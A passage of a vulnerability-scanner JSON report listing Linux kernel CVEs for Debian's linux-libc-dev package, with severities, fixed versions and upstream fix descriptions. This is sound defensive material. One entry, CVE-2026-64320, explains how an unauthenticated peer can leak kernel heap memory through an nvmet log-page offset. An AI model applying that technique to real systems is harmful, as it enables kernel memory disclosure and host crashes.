"https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-64304" ], "PublishedDate": "2026-07-25T10:17:11.403Z", "LastModifiedDate": "2026-10-24T13:10:00.147Z" }, { "VulnerabilityID": "CVE-2026-64305", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64305", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:cf5087d756ddf4fd1e3d84a3974e63b8b98a0dbc85d2128ee1feeb44435d65e7", "Title": "kernel: crypto: qat - protect service table iterations with service_lock", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: qat - protect service table iterations with service_lock\n\nThe service_table list is protected by service_lock when entries are\nadded or removed (in adf_service_add() and adf_service_remove()), but\nseveral functions iterate over the list without holding this lock.\n\nA concurrent adf_service_register() or adf_service_unregister() call\ncould modify the list during traversal, leading to list corruption or\na use-after-free.\n\nFix this by holding service_lock across all list_for_each_entry()\niterations of service_table in adf_dev_init(), adf_dev_start(),\nadf_dev_stop(), adf_dev_shutdown(), adf_dev_restarting_notify(),\nadf_dev_restarted_notify(), and adf_error_notifier().\n\nThe lock ordering is safe: callers of the static helpers (adf_dev_up()\nand adf_dev_down()) acquire state_lock before service_lock, and no\nevent_hld callback or service_lock holder ever acquires state_lock in\nthe reverse order.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64305", "https://git.kernel.org/linus/5c6f845e77ec35f9b7b047cc8f9789bf397cdd3e%20%287.2-rc1%29", "https://git.kernel.org/stable/c/0dbcecea740d943002c1cbdafa39bdfc108e32a5", "https://git.kernel.org/stable/c/11d48f777cf8fad00db044f4c15cdf821427746b", "https://git.kernel.org/stable/c/222fa7b453b612f4407f260146d89a2ce2bc831d", "https://git.kernel.org/stable/c/5c6f845e77ec35f9b7b047cc8f9789bf397cdd3e", "https://git.kernel.org/stable/c/c3c5925791cff3b84d313293fd60f384d877d793", "https://git.kernel.org/stable/c/d36bff434e01d06d1e1fa98aa2b34ec32185c1ab", "https://linux.oracle.com/cve/CVE-2026-64305.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026072507-CVE-2026-64305-6cea@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64305", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-64305" ], "PublishedDate": "2026-07-25T10:17:11.53Z", "LastModifiedDate": "2026-11-06T17:18:46.52Z" }, { "VulnerabilityID": "CVE-2026-64320", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64320", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:52cebb26a445b269125f3492dedabc0a950e9d5896c732942ad5ac2d15493103", "Title": "kernel: nvmet: fix pre-auth out-of-bounds heap read in Discovery Get Log Page", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvmet: fix pre-auth out-of-bounds heap read in Discovery Get Log Page\n\nnvmet_execute_disc_get_log_page() validates only the dword alignment\nof the host-supplied Log Page Offset (lpo). The 64-bit offset is then\nadded to a small kzalloc'd buffer that holds the discovery log page\nand the result is passed straight to nvmet_copy_to_sgl(), which\nmemcpy()s data_len bytes out to the host with no source-side bound\ncheck:\n\n u64 offset = nvmet_get_log_page_offset(req-\u003ecmd); /* 64-bit host */\n size_t data_len = nvmet_get_log_page_len(req-\u003ecmd); /* 32-bit host */\n ...\n if (offset \u0026 0x3) { ... } /* only check */\n ...\n alloc_len = sizeof(*hdr) + entry_size * discovery_log_entries(req);\n buffer = kzalloc(alloc_len, GFP_KERNEL);\n ...\n status = nvmet_copy_to_sgl(req, 0, buffer + offset, data_len);\n\nThe Discovery controller is unauthenticated -- nvmet_host_allowed()\nreturns true unconditionally for the discovery subsystem -- so the call\nis reachable pre-authentication by any TCP/RDMA/FC peer that can reach\nthe nvmet target. With a discovery log page of ~1 KiB, an attacker\nrequesting up to 4 KiB starting at offset == alloc_len reads the next\nslab page out and gets its content returned over the fabric (an\nempirical run on a default nvmet-tcp loopback target leaked 81\ncanonical kernel pointers in one Get Log Page response). Pointing the\noffset at unmapped kernel memory faults the in-kernel memcpy and\ncrashes (or panics, on panic_on_oops=1) the target host instead.\n\nThe attacker-controlled source-side offset pattern\n\"nvmet_copy_to_sgl(req, 0, buffer + ATTACKER_OFFSET, ...)\" is unique\nto nvmet_execute_disc_get_log_page in the entire nvmet codebase: every\nother Get Log Page handler in admin-cmd.c either ignores lpo (and\nsilently starts every response at offset 0) or tracks a local\ndestination offset with a fixed source pointer.\n\nValidate the host-supplied offset against the log page size, cap the\ncopy length to what is actually available, and zero-fill any remainder\nof the host transfer buffer. The zero-fill matches the existing\nshort-response pattern in nvmet_execute_get_log_changed_ns()\n(admin-cmd.c) and prevents leaking transport SGL contents when the\nhost asks for more bytes than the log page contains.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "alma": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:64808", "https://access.redhat.com/security/cve/CVE-2026-64320", "https://bugzilla.redhat.com/2370992", "https://bugzilla.redhat.com/2492097", "https://bugzilla.redhat.com/2492273", "https://bugzilla.redhat.com/2502527", "https://bugzilla.redhat.com/2507061", "https://bugzilla.redhat.com/2507096", "https://bugzilla.redhat.com/2507129", "https://bugzilla.redhat.com/2507287", "https://bugzilla.redhat.com/show_bug.cgi?id=2370992", "https://bugzilla.redhat.com/show_bug.cgi?id=2492097", "https://bugzilla.redhat.com/show_bug.cgi?id=2492273", "https://bugzilla.redhat.com/show_bug.cgi?id=2502527", "https://bugzilla.redhat.com/show_bug.cgi?id=2507061", "https://bugzilla.redhat.com/show_bug.cgi?id=2507096", "https://bugzilla.redhat.com/show_bug.cgi?id=2507129", "https://bugzilla.redhat.com/show_bug.cgi?id=2507287", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38004", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52933", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53000", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64287", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64320", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64384", "https://errata.almalinux.org/9/ALSA-2026-64808.html", "https://errata.rockylinux.org/RLSA-2026:64808", "https://git.kernel.org/linus/53cd102a7a56079b11b897835bd9b94c14e6322c%20%287.2-rc1%29", "https://git.kernel.org/stable/c/33b974eb626154ae9348f2bac7de84cb2a3d9dd4", "https://git.kernel.org/stable/c/53cd102a7a56079b11b897835bd9b94c14e6322c", "https://git.kernel.org/stable/c/56c021a0869260d04c4b65d1471936aaf9177114", "https://git.kernel.org/stable/c/8ae9bb92fc9a712a8d32da9c5fd657101f9b260b", "https://git.kernel.org/stable/c/a29b316b9bbfd269f323ab4ba9906a894025680f", "https://git.kernel.org/stable/c/ff815b5e8688dcf68529b7f0fde8de5847f63f1e", "https://linux.oracle.com/cve/CVE-2026-64320.html", "https://linux.oracle.com/errata/ELSA-2026-64808-0.html", "https://lore.kernel.org/linux-cve-announce/2026072511-CVE-2026-64320-4b43@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64320", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-64320" ], "PublishedDate": "2026-07-25T10:17:13.407Z", "LastModifiedDate": "2026-10-30T13:19:34.13Z" }, { "VulnerabilityID": "CVE-2026-64329", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64329", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3b202ed5e564690e76b506344d747572a33ee93673d568a934eaf5af115a8275", "Title": "kernel: usb: typec: ucsi: ccg: Fix use-after-free of ucsi on remove", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: typec: ucsi: ccg: Fix use-after-free of ucsi on remove\n\nThe threaded IRQ handler ccg_irq_handler() calls ucsi_notify_common(),\nwhich on a connector-change event calls ucsi_connector_change() and\nschedules connector work. In ucsi_ccg_remove(), ucsi_destroy() frees\nuc-\u003eucsi (kfree) before free_irq() is called, so a handler invocation\nalready in flight may access the freed object after ucsi_destroy().\n\n CPU 0 (remove) | CPU 1 (threaded IRQ)\n ucsi_destroy(uc-\u003eucsi) | ccg_irq_handler()\n kfree(ucsi) // FREE | ucsi_notify_common(uc-\u003eucsi) // USE\n\nMove free_irq() before ucsi_destroy() in the remove path. It is kept\nafter ucsi_unregister(): ucsi_unregister() cancels connector work whose\nhandler issues GET_CONNECTOR_STATUS through ucsi_send_command_common(),\nwhich waits for a completion that is signalled from the IRQ handler, so\nthe IRQ must stay active until that work has been cancelled.\n\nThe probe error path already orders free_irq() before ucsi_destroy().\n\nThis bug was found by static analysis.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 4.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64329", "https://git.kernel.org/linus/1f0bdc2884b67de337215079bba166df0cdf4ac5%20%287.2-rc3%29", "https://git.kernel.org/stable/c/1a160076d3d0dcd4a98a4599ad96eec0790b099b", "https://git.kernel.org/stable/c/1f0bdc2884b67de337215079bba166df0cdf4ac5", "https://git.kernel.org/stable/c/86c9ee928c4a370e323e432aaf8dca79c4ba7c85", "https://git.kernel.org/stable/c/99381e762273a2410a3f0216000be32b013c0ea9", "https://git.kernel.org/stable/c/c32df11147822d22facee8fa30c2e8971d12f426", "https://git.kernel.org/stable/c/dbb500bad02146b388041877574829016591ddc8", "https://git.kernel.org/stable/c/f1adeb1ff8bef1467d6961059810795d02bbad5d", "https://git.kernel.org/stable/c/f5c772b76bbd95de8be51cf849c6098f6af6fcf9", "https://kernelcve.org/list/?q=CVE-2026-64329", "https://lore.kernel.org/linux-cve-announce/2026072513-CVE-2026-64329-017c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64329", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-64329" ], "PublishedDate": "2026-07-25T10:17:14.54Z", "LastModifiedDate": "2026-11-06T17:18:48.137Z" }, { "VulnerabilityID": "CVE-2026-64330", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64330", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7a5b824fe9db688a69625a932fcf797d4991da69dc1f56637ece3d4778200f3b", "Title": "kernel: usb: typec: tcpm: Validate SVID index in svdm_consume_modes()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: typec: tcpm: Validate SVID index in svdm_consume_modes()\n\nIn svdm_consume_modes(), the SVID value is read from pmdata-\u003esvids using\npmdata-\u003esvid_index as an array index without bounds validation:\n\n paltmode-\u003esvid = pmdata-\u003esvids[pmdata-\u003esvid_index];\n\nIf pmdata-\u003esvid_index is driven beyond SVID_DISCOVERY_MAX (16), it results\nin an out-of-bounds read of the pmdata-\u003esvids array. Because pd_mode_data\nis embedded inside struct tcpm_port, indexing past svids reads into\nadjacent fields. In particular:\n- At index 16, it reads the altmodes count.\n- At index 18 and beyond, it reads into altmode_desc[], which contains\n partner-supplied SVDM Discovery Modes VDOs.\n\nBy injecting a chosen SVID into altmode_desc[0].vdo and driving svid_index\nto 20, the partner can force paltmode-\u003esvid to be loaded with an arbitrary,\npartner- chosen SVID, which is then registered via\ntypec_partner_register_altmode().\n\nFix this by validating that pmdata-\u003esvid_index is non-negative and strictly\nless than pmdata-\u003ensvids before accessing the pmdata-\u003esvids array inside\nsvdm_consume_modes().", "Severity": "HIGH", "CweIDs": [ "CWE-129" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64330", "https://git.kernel.org/linus/7b681dd5fbf60b24a13c14661e5b7735759fb491%20%287.2-rc3%29", "https://git.kernel.org/stable/c/012406f89abc52d1d5f07aa5653b519ebf6d2407", "https://git.kernel.org/stable/c/313ca06e7e224ca1dfadd5722fe71fb8bc276b8b", "https://git.kernel.org/stable/c/3e1b1ac47e8163627f159f30d80d51b914620dd4", "https://git.kernel.org/stable/c/7b681dd5fbf60b24a13c14661e5b7735759fb491", "https://git.kernel.org/stable/c/89ff289cbf5d3b659a2babc5ccaae4eaf7e7cf53", "https://git.kernel.org/stable/c/c6d2af3b217a525741c472f0ab45d7d274b8468f", "https://git.kernel.org/stable/c/d638ec188e95fe60f4b01106ffd41958f8fb3c2c", "https://git.kernel.org/stable/c/f8163c414de8640f2ca82ce4dc93409d4cdc2fad", "https://linux.oracle.com/cve/CVE-2026-64330.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://lore.kernel.org/linux-cve-announce/2026072513-CVE-2026-64330-372d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64330", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-64330" ], "PublishedDate": "2026-07-25T10:17:14.673Z", "LastModifiedDate": "2026-11-06T17:18:48.32Z" }, { "VulnerabilityID": "CVE-2026-64340", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64340", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9fa4f9d199ee80afa96b73d5ec54b5c9064517ab643776f7e73f45d7ec4523d1", "Title": "kernel: USB: legousbtower: fix use-after-free on disconnect race", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nUSB: legousbtower: fix use-after-free on disconnect race\n\nmutex_unlock() may access the mutex structure after releasing the lock\nand therefore cannot be used to manage lifetime of objects directly\n(unlike spinlocks and refcounts). [1][2]\n\nUse a kref to release the driver data to avoid use-after-free in\nmutex_unlock() when release() races with disconnect().\n\n[1] a51749ab34d9 (\"locking/mutex: Document that mutex_unlock() is\n non-atomic\")\n[2] 2b9d9e0a9ba0 (\"locking/mutex: Clarify that mutex_unlock(), and most\n other sleeping locks, can still use the lock object\n after it's unlocked\")", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64340", "https://git.kernel.org/linus/62fc8eb1b1481051f7bab4aa93d79809053dd09f%20%287.2-rc3%29", "https://git.kernel.org/stable/c/0b57e5ddbd89df3bc367463de3d2ca66f99a1a5e", "https://git.kernel.org/stable/c/11d069f85851997b4ea0adf242ed9672dc749b8f", "https://git.kernel.org/stable/c/62fc8eb1b1481051f7bab4aa93d79809053dd09f", "https://git.kernel.org/stable/c/6462de75d2e370c7e74dcfb7b4ae79eb5a6a55ee", "https://git.kernel.org/stable/c/766738ecf2b819e54d38763c8d1c8ae6cff14b39", "https://git.kernel.org/stable/c/9ba62966461a8e3cc593b62c56ec62eb2d80436d", "https://git.kernel.org/stable/c/ab2bfd7bec4f134b377ec42f513e90c35db94160", "https://git.kernel.org/stable/c/b4222c05066b252b451f9c8c4730b5b60824ea66", "https://linux.oracle.com/cve/CVE-2026-64340.html", "https://linux.oracle.com/errata/ELSA-2026-500249.html", "https://lore.kernel.org/linux-cve-announce/2026072515-CVE-2026-64340-1720@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64340", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-64340" ], "PublishedDate": "2026-07-25T10:17:15.983Z", "LastModifiedDate": "2026-11-06T17:18:49.567Z" }, { "VulnerabilityID": "CVE-2026-64341", "VendorIDs": [ "DSA-6405-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.100-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64341", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:29265ddf178b8b24b5f904ca3e7467e0e92051e50c352b5d8e8bd9c09915e989", "Title": "kernel: USB: iowarrior: fix use-after-free on disconnect race", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nUSB: iowarrior: fix use-after-free on disconnect race\n\nmutex_unlock() may access the mutex structure after releasing the lock\nand therefore cannot be used to manage lifetime of objects directly\n(unlike spinlocks and refcounts). [1][2]\n\nUse a kref to release the driver data to avoid use-after-free in\nmutex_unlock() when release() races with disconnect().\n\n[1] a51749ab34d9 (\"locking/mutex: Document that mutex_unlock() is non-atomic\")\n[2] 2b9d9e0a9ba0 (\"locking/mutex: Clarify that mutex_unlock(), and most\n other sleeping locks, can still use the lock object\n after it's unlocked\")", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64341", "https://git.kernel.org/linus/c602254ba4c10f60a73cd99d147874f86a3f485c%20%287.2-rc3%29", "https://git.kernel.org/stable/c/30ec3025b771511625375fb3fb959aea3b45fb0d", "https://git.kernel.org/stable/c/3c0a7b29ebb391d5f50b115e86f842b709195b08", "https://git.kernel.org/stable/c/4e7d3c98fed73d3be84d3e146d8d9be0309e725b", "https://git.kernel.org/stable/c/71590982700fdeb39a37a500c877228b0140978e", "https://git.kernel.org/stable/c/9472acd56a020c93be4189d2dba9c743b9fc8039", "https://git.kernel.org/stable/c/c602254ba4c10f60a73cd99d147874f86a3f485c", "https://linux.oracle.com/cve/CVE-2026-64341.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026072516-CVE-2026-64341-c06f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64341", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-64341" ], "PublishedDate": "2026-07-25T10:17:16.117Z", "LastModifiedDate": "2026-11-06T17:18:49.747Z" }, { "VulnerabilityID": "CVE-2026-64342", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64342", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:32b3e69eda438a6117c6a82ad4ee3741b85a18da49600224273b67c02f2c7c3c", "Title": "kernel: USB: iowarrior: fix use-after-free on disconnect", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nUSB: iowarrior: fix use-after-free on disconnect\n\nSubmitted write URBs are not stopped on close() and therefore need to be\nstopped unconditionally on disconnect() to avoid use-after-free in the\ncompletion handler.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": 